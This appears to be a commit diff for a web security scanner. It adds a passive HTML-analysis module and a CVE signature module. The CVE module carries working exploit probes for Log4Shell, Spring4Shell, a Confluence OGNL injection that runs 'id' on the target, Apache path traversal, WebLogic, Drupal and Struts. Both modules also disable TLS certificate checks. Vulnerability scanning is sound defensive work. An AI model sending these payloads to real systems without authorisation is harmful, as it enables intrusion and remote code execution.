|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
custom_website_scanner.py — Custom website analysis using Requests + BeautifulSoup.
|
| 3 |
+
Performs deep HTML analysis, form detection, link extraction, and content analysis.
|
| 4 |
+
"""
|
| 5 |
+
import requests
|
| 6 |
+
from bs4 import BeautifulSoup
|
| 7 |
+
import urllib.request, ssl
|
| 8 |
+
from scanners.base_scanner import BaseScanner
|
| 9 |
+
|
| 10 |
+
class CustomWebsiteScanner(BaseScanner):
|
| 11 |
+
SCANNER_NAME = "Custom Website Analysis"
|
| 12 |
+
|
| 13 |
+
def run(self):
|
| 14 |
+
self.log("INFO", f"[Custom Analysis] Starting deep website analysis for {self.target}...")
|
| 15 |
+
|
| 16 |
+
ctx = ssl.create_default_context()
|
| 17 |
+
ctx.check_hostname = False
|
| 18 |
+
ctx.verify_mode = ssl.CERT_NONE
|
| 19 |
+
|
| 20 |
+
try:
|
| 21 |
+
headers = {"User-Agent": "LarShield/2.0 (Security Audit Bot)"}
|
| 22 |
+
if self.auth_headers:
|
| 23 |
+
headers.update(self.auth_headers)
|
| 24 |
+
|
| 25 |
+
req = urllib.request.Request(self.target, headers=headers)
|
| 26 |
+
with urllib.request.urlopen(req, timeout=15, context=ctx) as resp:
|
| 27 |
+
html = resp.read().decode('utf-8', errors='ignore')
|
| 28 |
+
response_headers = {k.lower(): v for k, v in resp.getheaders()}
|
| 29 |
+
status = resp.status
|
| 30 |
+
|
| 31 |
+
self.log("SUCCESS", f"[Custom Analysis] Retrieved page: HTTP {status}")
|
| 32 |
+
|
| 33 |
+
# Parse HTML with BeautifulSoup
|
| 34 |
+
soup = BeautifulSoup(html, 'html.parser')
|
| 35 |
+
|
| 36 |
+
# Perform various analyses
|
| 37 |
+
self._analyze_forms(soup)
|
| 38 |
+
self._analyze_links(soup)
|
| 39 |
+
self._analyze_scripts(soup)
|
| 40 |
+
self._analyze_meta_tags(soup)
|
| 41 |
+
self._analyze_comments(soup)
|
| 42 |
+
self._analyze_hidden_inputs(soup)
|
| 43 |
+
self._analyze_external_resources(soup)
|
| 44 |
+
|
| 45 |
+
self.log("SUCCESS", "[Custom Analysis] Website analysis complete.")
|
| 46 |
+
|
| 47 |
+
except urllib.error.HTTPError as e:
|
| 48 |
+
self.log("WARNING", f"[Custom Analysis] HTTP Error {e.code}: {e.reason}")
|
| 49 |
+
except urllib.error.URLError as e:
|
| 50 |
+
self.log("WARNING", f"[Custom Analysis] URL Error: {e.reason}")
|
| 51 |
+
except Exception as e:
|
| 52 |
+
self.log("WARNING", f"[Custom Analysis] Error: {e}")
|
| 53 |
+
|
| 54 |
+
return self.vulns
|
| 55 |
+
|
| 56 |
+
def _analyze_forms(self, soup):
|
| 57 |
+
"""Analyze HTML forms for security issues."""
|
| 58 |
+
self.log("INFO", "[Custom Analysis] Analyzing forms...")
|
| 59 |
+
|
| 60 |
+
forms = soup.find_all('form')
|
| 61 |
+
|
| 62 |
+
if not forms:
|
| 63 |
+
self.log("INFO", "[Custom Analysis] No forms found.")
|
| 64 |
+
return
|
| 65 |
+
|
| 66 |
+
self.log("INFO", f"[Custom Analysis] Found {len(forms)} form(s).")
|
| 67 |
+
|
| 68 |
+
for i, form in enumerate(forms[:10]): # Limit to first 10 forms
|
| 69 |
+
form_action = form.get('action', '')
|
| 70 |
+
form_method = form.get('method', 'GET').upper()
|
| 71 |
+
|
| 72 |
+
self.log("INFO", f"[Custom Analysis] Form {i+1}: {form_method} -> {form_action}")
|
| 73 |
+
|
| 74 |
+
# Check for insecure form method
|
| 75 |
+
if form_method == 'GET' and form_action:
|
| 76 |
+
self.log("WARNING", f"[Custom Analysis] Form {i+1} uses GET method for sensitive data")
|
| 77 |
+
self.add_vuln(
|
| 78 |
+
title="Form Uses GET Method for Sensitive Data",
|
| 79 |
+
severity="Medium", category="Form Security", cvss_score=5.3,
|
| 80 |
+
description=f"Form {i+1} on {self.target} uses GET method. Sensitive data in GET requests appears in browser history and server logs.",
|
| 81 |
+
remediation="Change form method to POST for sensitive data handling."
|
| 82 |
+
)
|
| 83 |
+
|
| 84 |
+
# Check for CSRF protection
|
| 85 |
+
has_csrf = False
|
| 86 |
+
for input_field in form.find_all('input'):
|
| 87 |
+
input_name = input_field.get('name', '').lower()
|
| 88 |
+
if 'csrf' in input_name or 'token' in input_name:
|
| 89 |
+
has_csrf = True
|
| 90 |
+
break
|
| 91 |
+
|
| 92 |
+
if not has_csrf and form_method == 'POST':
|
| 93 |
+
self.log("WARNING", f"[Custom Analysis] Form {i+1} may lack CSRF protection")
|
| 94 |
+
self.add_vuln(
|
| 95 |
+
title="Form May Lack CSRF Protection",
|
| 96 |
+
severity="Medium", category="Form Security", cvss_score=5.9,
|
| 97 |
+
description=f"Form {i+1} on {self.target} uses POST method but no CSRF token was detected. This could lead to Cross-Site Request Forgery attacks.",
|
| 98 |
+
remediation="Implement CSRF tokens in all state-changing forms. Use framework-provided CSRF protection."
|
| 99 |
+
)
|
| 100 |
+
|
| 101 |
+
def _analyze_links(self, soup):
|
| 102 |
+
"""Analyze links for security issues."""
|
| 103 |
+
self.log("INFO", "[Custom Analysis] Analyzing links...")
|
| 104 |
+
|
| 105 |
+
links = soup.find_all('a', href=True)
|
| 106 |
+
|
| 107 |
+
if not links:
|
| 108 |
+
self.log("INFO", "[Custom Analysis] No links found.")
|
| 109 |
+
return
|
| 110 |
+
|
| 111 |
+
self.log("INFO", f"[Custom Analysis] Found {len(links)} link(s).")
|
| 112 |
+
|
| 113 |
+
# Check for external links
|
| 114 |
+
external_links = []
|
| 115 |
+
for link in links[:50]: # Limit to first 50 links
|
| 116 |
+
href = link['href']
|
| 117 |
+
if href.startswith('http'):
|
| 118 |
+
if self.domain not in href:
|
| 119 |
+
external_links.append(href)
|
| 120 |
+
|
| 121 |
+
if external_links:
|
| 122 |
+
self.log("INFO", f"[Custom Analysis] Found {len(external_links)} external link(s).")
|
| 123 |
+
|
| 124 |
+
# Check for suspicious external links
|
| 125 |
+
suspicious_domains = ['bit.ly', 'tinyurl.com', 'goo.gl', 't.co', 'ow.ly']
|
| 126 |
+
for ext_link in external_links:
|
| 127 |
+
for susp in suspicious_domains:
|
| 128 |
+
if susp in ext_link:
|
| 129 |
+
self.log("WARNING", f"[Custom Analysis] Suspicious shortener link: {ext_link}")
|
| 130 |
+
self.add_vuln(
|
| 131 |
+
title="Suspicious URL Shortener Link",
|
| 132 |
+
severity="Low", category="Content Security", cvss_score=3.1,
|
| 133 |
+
description=f"External link uses URL shortener ({susp}): {ext_link}. This could hide malicious destinations.",
|
| 134 |
+
remediation="Avoid using URL shorteners in production. Use direct links or implement link validation."
|
| 135 |
+
)
|
| 136 |
+
|
| 137 |
+
def _analyze_scripts(self, soup):
|
| 138 |
+
"""Analyze JavaScript files for security issues."""
|
| 139 |
+
self.log("INFO", "[Custom Analysis] Analyzing scripts...")
|
| 140 |
+
|
| 141 |
+
scripts = soup.find_all('script')
|
| 142 |
+
|
| 143 |
+
if not scripts:
|
| 144 |
+
self.log("INFO", "[Custom Analysis] No scripts found.")
|
| 145 |
+
return
|
| 146 |
+
|
| 147 |
+
self.log("INFO", f"[Custom Analysis] Found {len(scripts)} script(s).")
|
| 148 |
+
|
| 149 |
+
# Check for inline scripts
|
| 150 |
+
inline_scripts = [s for s in scripts if s.get('src') is None]
|
| 151 |
+
|
| 152 |
+
if inline_scripts:
|
| 153 |
+
self.log("WARNING", f"[Custom Analysis] Found {len(inline_scripts)} inline script(s)")
|
| 154 |
+
self.add_vuln(
|
| 155 |
+
title="Inline JavaScript Detected",
|
| 156 |
+
severity="Medium", category="Content Security", cvss_score=5.3,
|
| 157 |
+
description=f"Found {len(inline_scripts)} inline JavaScript script(s). Inline scripts bypass Content Security Policy and increase XSS risk.",
|
| 158 |
+
remediation="Move all JavaScript to external files and implement a strict Content Security Policy."
|
| 159 |
+
)
|
| 160 |
+
|
| 161 |
+
# Check for external scripts
|
| 162 |
+
external_scripts = [s.get('src') for s in scripts if s.get('src')]
|
| 163 |
+
|
| 164 |
+
if external_scripts:
|
| 165 |
+
self.log("INFO", f"[Custom Analysis] Found {len(external_scripts)} external script(s).")
|
| 166 |
+
|
| 167 |
+
# Check for CDNs
|
| 168 |
+
cdn_domains = ['cdn.jsdelivr.net', 'cdnjs.cloudflare.com', 'ajax.googleapis.com']
|
| 169 |
+
for script in external_scripts:
|
| 170 |
+
for cdn in cdn_domains:
|
| 171 |
+
if cdn in script:
|
| 172 |
+
self.log("INFO", f"[Custom Analysis] CDN script: {script}")
|
| 173 |
+
|
| 174 |
+
def _analyze_meta_tags(self, soup):
|
| 175 |
+
"""Analyze meta tags for security issues."""
|
| 176 |
+
self.log("INFO", "[Custom Analysis] Analyzing meta tags...")
|
| 177 |
+
|
| 178 |
+
meta_tags = soup.find_all('meta')
|
| 179 |
+
|
| 180 |
+
if not meta_tags:
|
| 181 |
+
self.log("INFO", "[Custom Analysis] No meta tags found.")
|
| 182 |
+
return
|
| 183 |
+
|
| 184 |
+
self.log("INFO", f"[Custom Analysis] Found {len(meta_tags)} meta tag(s).")
|
| 185 |
+
|
| 186 |
+
# Check for generator meta tag
|
| 187 |
+
generator = soup.find('meta', attrs={'name': 'generator'})
|
| 188 |
+
if generator:
|
| 189 |
+
generator_content = generator.get('content', '')
|
| 190 |
+
self.log("WARNING", f"[Custom Analysis] Generator meta tag: {generator_content}")
|
| 191 |
+
self.add_vuln(
|
| 192 |
+
title="Generator Meta Tag Discloses Technology",
|
| 193 |
+
severity="Low", category="Information Disclosure", cvss_score=3.1,
|
| 194 |
+
description=f"Generator meta tag reveals technology: {generator_content}",
|
| 195 |
+
remediation="Remove generator meta tag to reduce information disclosure."
|
| 196 |
+
)
|
| 197 |
+
|
| 198 |
+
# Check for viewport meta tag
|
| 199 |
+
viewport = soup.find('meta', attrs={'name': 'viewport'})
|
| 200 |
+
if not viewport:
|
| 201 |
+
self.log("INFO", "[Custom Analysis] No viewport meta tag found (accessibility issue).")
|
| 202 |
+
|
| 203 |
+
def _analyze_comments(self, soup):
|
| 204 |
+
"""Analyze HTML comments for sensitive information."""
|
| 205 |
+
self.log("INFO", "[Custom Analysis] Analyzing HTML comments...")
|
| 206 |
+
|
| 207 |
+
comments = soup.find_all(string=lambda text: isinstance(text, str) and text.strip().startswith('<!--'))
|
| 208 |
+
|
| 209 |
+
if not comments:
|
| 210 |
+
self.log("INFO", "[Custom Analysis] No HTML comments found.")
|
| 211 |
+
return
|
| 212 |
+
|
| 213 |
+
self.log("INFO", f"[Custom Analysis] Found {len(comments)} comment(s).")
|
| 214 |
+
|
| 215 |
+
# Check for sensitive keywords in comments
|
| 216 |
+
sensitive_keywords = ['password', 'secret', 'api key', 'token', 'debug', 'todo', 'fixme', 'hack']
|
| 217 |
+
|
| 218 |
+
for comment in comments:
|
| 219 |
+
comment_text = comment.strip()
|
| 220 |
+
for keyword in sensitive_keywords:
|
| 221 |
+
if keyword in comment_text.lower():
|
| 222 |
+
self.log("WARNING", f"[Custom Analysis] Sensitive comment: {comment_text[:100]}")
|
| 223 |
+
self.add_vuln(
|
| 224 |
+
title="Sensitive Information in HTML Comments",
|
| 225 |
+
severity="Low", category="Information Disclosure", cvss_score=3.1,
|
| 226 |
+
description=f"HTML comment contains sensitive keyword '{keyword}': {comment_text[:100]}",
|
| 227 |
+
remediation="Remove sensitive information from HTML comments before deployment."
|
| 228 |
+
)
|
| 229 |
+
break
|
| 230 |
+
|
| 231 |
+
def _analyze_hidden_inputs(self, soup):
|
| 232 |
+
"""Analyze hidden input fields for sensitive data."""
|
| 233 |
+
self.log("INFO", "[Custom Analysis] Analyzing hidden inputs...")
|
| 234 |
+
|
| 235 |
+
hidden_inputs = soup.find_all('input', type='hidden')
|
| 236 |
+
|
| 237 |
+
if not hidden_inputs:
|
| 238 |
+
self.log("INFO", "[Custom Analysis] No hidden inputs found.")
|
| 239 |
+
return
|
| 240 |
+
|
| 241 |
+
self.log("INFO", f"[Custom Analysis] Found {len(hidden_inputs)} hidden input(s).")
|
| 242 |
+
|
| 243 |
+
for hidden in hidden_inputs[:20]: # Limit to first 20
|
| 244 |
+
name = hidden.get('name', '')
|
| 245 |
+
value = hidden.get('value', '')
|
| 246 |
+
|
| 247 |
+
# Check for sensitive data in hidden fields
|
| 248 |
+
if value and len(value) > 20:
|
| 249 |
+
self.log("WARNING", f"[Custom Analysis] Hidden input with long value: {name}")
|
| 250 |
+
self.add_vuln(
|
| 251 |
+
title="Hidden Input with Long Value",
|
| 252 |
+
severity="Low", category="Form Security", cvss_score=3.1,
|
| 253 |
+
description=f"Hidden input field '{name}' contains a long value. This could contain sensitive data.",
|
| 254 |
+
remediation="Review hidden input fields and ensure they don't contain sensitive information."
|
| 255 |
+
)
|
| 256 |
+
|
| 257 |
+
def _analyze_external_resources(self, soup):
|
| 258 |
+
"""Analyze external resources for security issues."""
|
| 259 |
+
self.log("INFO", "[Custom Analysis] Analyzing external resources...")
|
| 260 |
+
|
| 261 |
+
# Check for images
|
| 262 |
+
images = soup.find_all('img', src=True)
|
| 263 |
+
if images:
|
| 264 |
+
self.log("INFO", f"[Custom Analysis] Found {len(images)} image(s).")
|
| 265 |
+
|
| 266 |
+
# Check for data URIs
|
| 267 |
+
data_uri_images = [img for img in images if img['src'].startswith('data:')]
|
| 268 |
+
if data_uri_images:
|
| 269 |
+
self.log("WARNING", f"[Custom Analysis] Found {len(data_uri_images)} data URI image(s)")
|
| 270 |
+
|
| 271 |
+
# Check for iframes
|
| 272 |
+
iframes = soup.find_all('iframe', src=True)
|
| 273 |
+
if iframes:
|
| 274 |
+
self.log("WARNING", f"[Custom Analysis] Found {len(iframes)} iframe(s)")
|
| 275 |
+
|
| 276 |
+
for iframe in iframes[:10]:
|
| 277 |
+
src = iframe.get('src', '')
|
| 278 |
+
self.log("INFO", f"[Custom Analysis] iframe: {src}")
|
| 279 |
+
|
| 280 |
+
# Check for external iframes
|
| 281 |
+
if src.startswith('http') and self.domain not in src:
|
| 282 |
+
self.log("WARNING", f"[Custom Analysis] External iframe: {src}")
|
| 283 |
+
self.add_vuln(
|
| 284 |
+
title="External iframe Detected",
|
| 285 |
+
severity="Medium", category="Content Security", cvss_score=5.3,
|
| 286 |
+
description=f"External iframe detected: {src}. This could lead to clickjacking or content injection attacks.",
|
| 287 |
+
remediation="Review external iframes and ensure they are trusted. Consider using sandbox attribute or CSP frame-ancestors."
|
| 288 |
+
)
|
backend/scanners/cve_scanner.py
ADDED
|
@@ -0,0 +1,169 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import json
|
| 2 |
+
import urllib.request
|
| 3 |
+
import urllib.error
|
| 4 |
+
import urllib.parse
|
| 5 |
+
import ssl
|
| 6 |
+
|
| 7 |
+
from scanners.base_scanner import BaseScanner
|
| 8 |
+
|
| 9 |
+
CVE_SIGNATURES = [
|
| 10 |
+
{
|
| 11 |
+
"id": "CVE-2021-44228",
|
| 12 |
+
"name": "Log4Shell",
|
| 13 |
+
"severity": "Critical",
|
| 14 |
+
"cvss": 10.0,
|
| 15 |
+
"affected": ["Apache Log4j 2.x < 2.15.0"],
|
| 16 |
+
"probe": {"header": "${jndi:ldap://127.0.0.1/a}", "param": "q"},
|
| 17 |
+
"detect": lambda code, body, headers: code == 500,
|
| 18 |
+
},
|
| 19 |
+
{
|
| 20 |
+
"id": "CVE-2022-22965",
|
| 21 |
+
"name": "Spring4Shell",
|
| 22 |
+
"severity": "Critical",
|
| 23 |
+
"cvss": 9.8,
|
| 24 |
+
"affected": ["Spring Framework 5.3.x < 5.3.18", "5.2.x < 5.2.20"],
|
| 25 |
+
"probe": {
|
| 26 |
+
"param": "class.module.classLoader.URLs%5B0%5D=0",
|
| 27 |
+
},
|
| 28 |
+
"detect": lambda code, body, headers: code == 400,
|
| 29 |
+
},
|
| 30 |
+
{
|
| 31 |
+
"id": "CVE-2022-26134",
|
| 32 |
+
"name": "Confluence OGNL Injection",
|
| 33 |
+
"severity": "Critical",
|
| 34 |
+
"cvss": 9.8,
|
| 35 |
+
"affected": ["Atlassian Confluence Server/DC < 7.18.0"],
|
| 36 |
+
"probe": {
|
| 37 |
+
"path_payload": "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
|
| 38 |
+
},
|
| 39 |
+
"detect": lambda code, body, headers: "X-Cmd-Response" in headers,
|
| 40 |
+
},
|
| 41 |
+
{
|
| 42 |
+
"id": "CVE-2021-41773",
|
| 43 |
+
"name": "Apache HTTP Server Path Traversal",
|
| 44 |
+
"severity": "High",
|
| 45 |
+
"cvss": 7.5,
|
| 46 |
+
"affected": ["Apache HTTP Server 2.4.49"],
|
| 47 |
+
"probe": {"path": "/cgi-bin/.%2e/%2e%2e/bin/sh"},
|
| 48 |
+
"detect": lambda code, body, headers: code == 200 and "root:" in body,
|
| 49 |
+
},
|
| 50 |
+
{
|
| 51 |
+
"id": "CVE-2021-40438",
|
| 52 |
+
"name": "Apache HTTP Server SSRF",
|
| 53 |
+
"severity": "High",
|
| 54 |
+
"cvss": 8.1,
|
| 55 |
+
"affected": ["Apache HTTP Server 2.4.x < 2.4.49"],
|
| 56 |
+
"probe": {"path": "/?unix:xxx|http://127.0.0.1:80"},
|
| 57 |
+
"detect": lambda code, body, headers: code not in (404, 400),
|
| 58 |
+
},
|
| 59 |
+
{
|
| 60 |
+
"id": "CVE-2020-14750",
|
| 61 |
+
"name": "Oracle WebLogic Authentication Bypass",
|
| 62 |
+
"severity": "Critical",
|
| 63 |
+
"cvss": 9.8,
|
| 64 |
+
"affected": ["Oracle WebLogic 10.3.6", "12.1.3", "12.2.1.3", "12.2.1.4", "14.1.1.0"],
|
| 65 |
+
"probe": {"path": "/console/css/%2e%2e%2fconsole.portal"},
|
| 66 |
+
"detect": lambda code, body, headers: code == 200 and "WebLogic" in body,
|
| 67 |
+
},
|
| 68 |
+
{
|
| 69 |
+
"id": "CVE-2018-7600",
|
| 70 |
+
"name": "Drupalgeddon 2 (RCE)",
|
| 71 |
+
"severity": "Critical",
|
| 72 |
+
"cvss": 9.8,
|
| 73 |
+
"affected": ["Drupal 7.x < 7.58", "8.x < 8.5.1"],
|
| 74 |
+
"probe": {"path": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"},
|
| 75 |
+
"detect": lambda code, body, headers: "drupal_ajax" in body,
|
| 76 |
+
},
|
| 77 |
+
{
|
| 78 |
+
"id": "CVE-2017-9791",
|
| 79 |
+
"name": "Apache Struts S2-048 (RCE)",
|
| 80 |
+
"severity": "Critical",
|
| 81 |
+
"cvss": 9.8,
|
| 82 |
+
"affected": ["Apache Struts 2.3.x < 2.3.32"],
|
| 83 |
+
"probe": {"path": "/struts2-showcase/integration/saveGangster.action"},
|
| 84 |
+
"detect": lambda code, body, headers: code == 200 and "struts" in body.lower(),
|
| 85 |
+
},
|
| 86 |
+
]
|
| 87 |
+
|
| 88 |
+
|
| 89 |
+
class CveScanner(BaseScanner):
|
| 90 |
+
SCANNER_NAME = "Known Exploits & CVE Signature Scanner"
|
| 91 |
+
|
| 92 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 93 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 94 |
+
self.base_url = target.rstrip("/")
|
| 95 |
+
|
| 96 |
+
def run(self):
|
| 97 |
+
self.log("INFO",
|
| 98 |
+
f"[CVE] Starting signature checks against {len(CVE_SIGNATURES)} CVEs on {self.target}...")
|
| 99 |
+
|
| 100 |
+
try:
|
| 101 |
+
for cve in CVE_SIGNATURES:
|
| 102 |
+
self._check_cve(cve)
|
| 103 |
+
except Exception as e:
|
| 104 |
+
self.log("WARNING", f"[CVE] Error during scan: {e}")
|
| 105 |
+
|
| 106 |
+
self.log(
|
| 107 |
+
"SUCCESS" if not self.vulns else "WARNING",
|
| 108 |
+
f"[CVE] Checks complete. {len(self.vulns)} CVE(s) confirmed.",
|
| 109 |
+
)
|
| 110 |
+
return self.vulns
|
| 111 |
+
|
| 112 |
+
def _check_cve(self, cve: dict):
|
| 113 |
+
probe = cve.get("probe", {})
|
| 114 |
+
detect = cve.get("detect")
|
| 115 |
+
headers = {"User-Agent": "LarShield/2.0 CVE-Scanner"}
|
| 116 |
+
|
| 117 |
+
try:
|
| 118 |
+
path = probe.get("path", "")
|
| 119 |
+
path_payload = probe.get("path_payload", "")
|
| 120 |
+
param = probe.get("param", "")
|
| 121 |
+
header_val = probe.get("header", "")
|
| 122 |
+
query_str = probe.get("param", "")
|
| 123 |
+
|
| 124 |
+
test_url = f"{self.base_url}{path}"
|
| 125 |
+
if path_payload:
|
| 126 |
+
test_url = f"{self.base_url}/{path_payload}"
|
| 127 |
+
if query_str and not path:
|
| 128 |
+
test_url = f"{self.base_url}/?{query_str}"
|
| 129 |
+
|
| 130 |
+
req_headers = dict(headers)
|
| 131 |
+
if header_val:
|
| 132 |
+
req_headers["User-Agent"] = header_val
|
| 133 |
+
req_headers["X-Forwarded-For"] = header_val
|
| 134 |
+
req_headers["Referer"] = header_val
|
| 135 |
+
|
| 136 |
+
ctx = self.get_ssl_context()
|
| 137 |
+
req = urllib.request.Request(test_url, headers=req_headers)
|
| 138 |
+
|
| 139 |
+
try:
|
| 140 |
+
with urllib.request.urlopen(req, timeout=5, context=ctx) as resp:
|
| 141 |
+
body = resp.read(4096).decode("utf-8", errors="ignore")
|
| 142 |
+
code = resp.status
|
| 143 |
+
resp_headers = resp.headers
|
| 144 |
+
except urllib.error.HTTPError as e:
|
| 145 |
+
body = e.read(4096).decode("utf-8", errors="ignore") if e.fp else ""
|
| 146 |
+
code = e.code
|
| 147 |
+
resp_headers = e.headers if hasattr(e, "headers") else {}
|
| 148 |
+
except Exception as e:
|
| 149 |
+
self.log("ERROR", f"[CVE] _check_cve request error: {e}")
|
| 150 |
+
return
|
| 151 |
+
|
| 152 |
+
if detect and detect(code, body, resp_headers):
|
| 153 |
+
self.log("CRITICAL",
|
| 154 |
+
f"[CVE] Confirmed: {cve['name']} ({cve['id']})")
|
| 155 |
+
self.add_vuln(
|
| 156 |
+
title=f"{cve['name']} ({cve['id']})",
|
| 157 |
+
severity=cve["severity"],
|
| 158 |
+
category="Known Exploit / CVE",
|
| 159 |
+
cvss_score=cve["cvss"],
|
| 160 |
+
description=f"The target appears vulnerable to {cve['name']} ({cve['id']}).\n"
|
| 161 |
+
f"Affected: {', '.join(cve['affected'])}",
|
| 162 |
+
remediation=f"Apply the latest security patch for {cve['id']}. "
|
| 163 |
+
f"Refer to vendor advisory for detailed mitigation steps.",
|
| 164 |
+
evidence=f"HTTP {code} with matching signature",
|
| 165 |
+
request_details=f"GET {test_url}",
|
| 166 |
+
)
|
| 167 |
+
|
| 168 |
+
except Exception as e:
|
| 169 |
+
self.log("ERROR", f"[CVE] _check_cve error: {e}")
|
backend/scanners/dependency_scanner.py
ADDED
|
@@ -0,0 +1,257 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
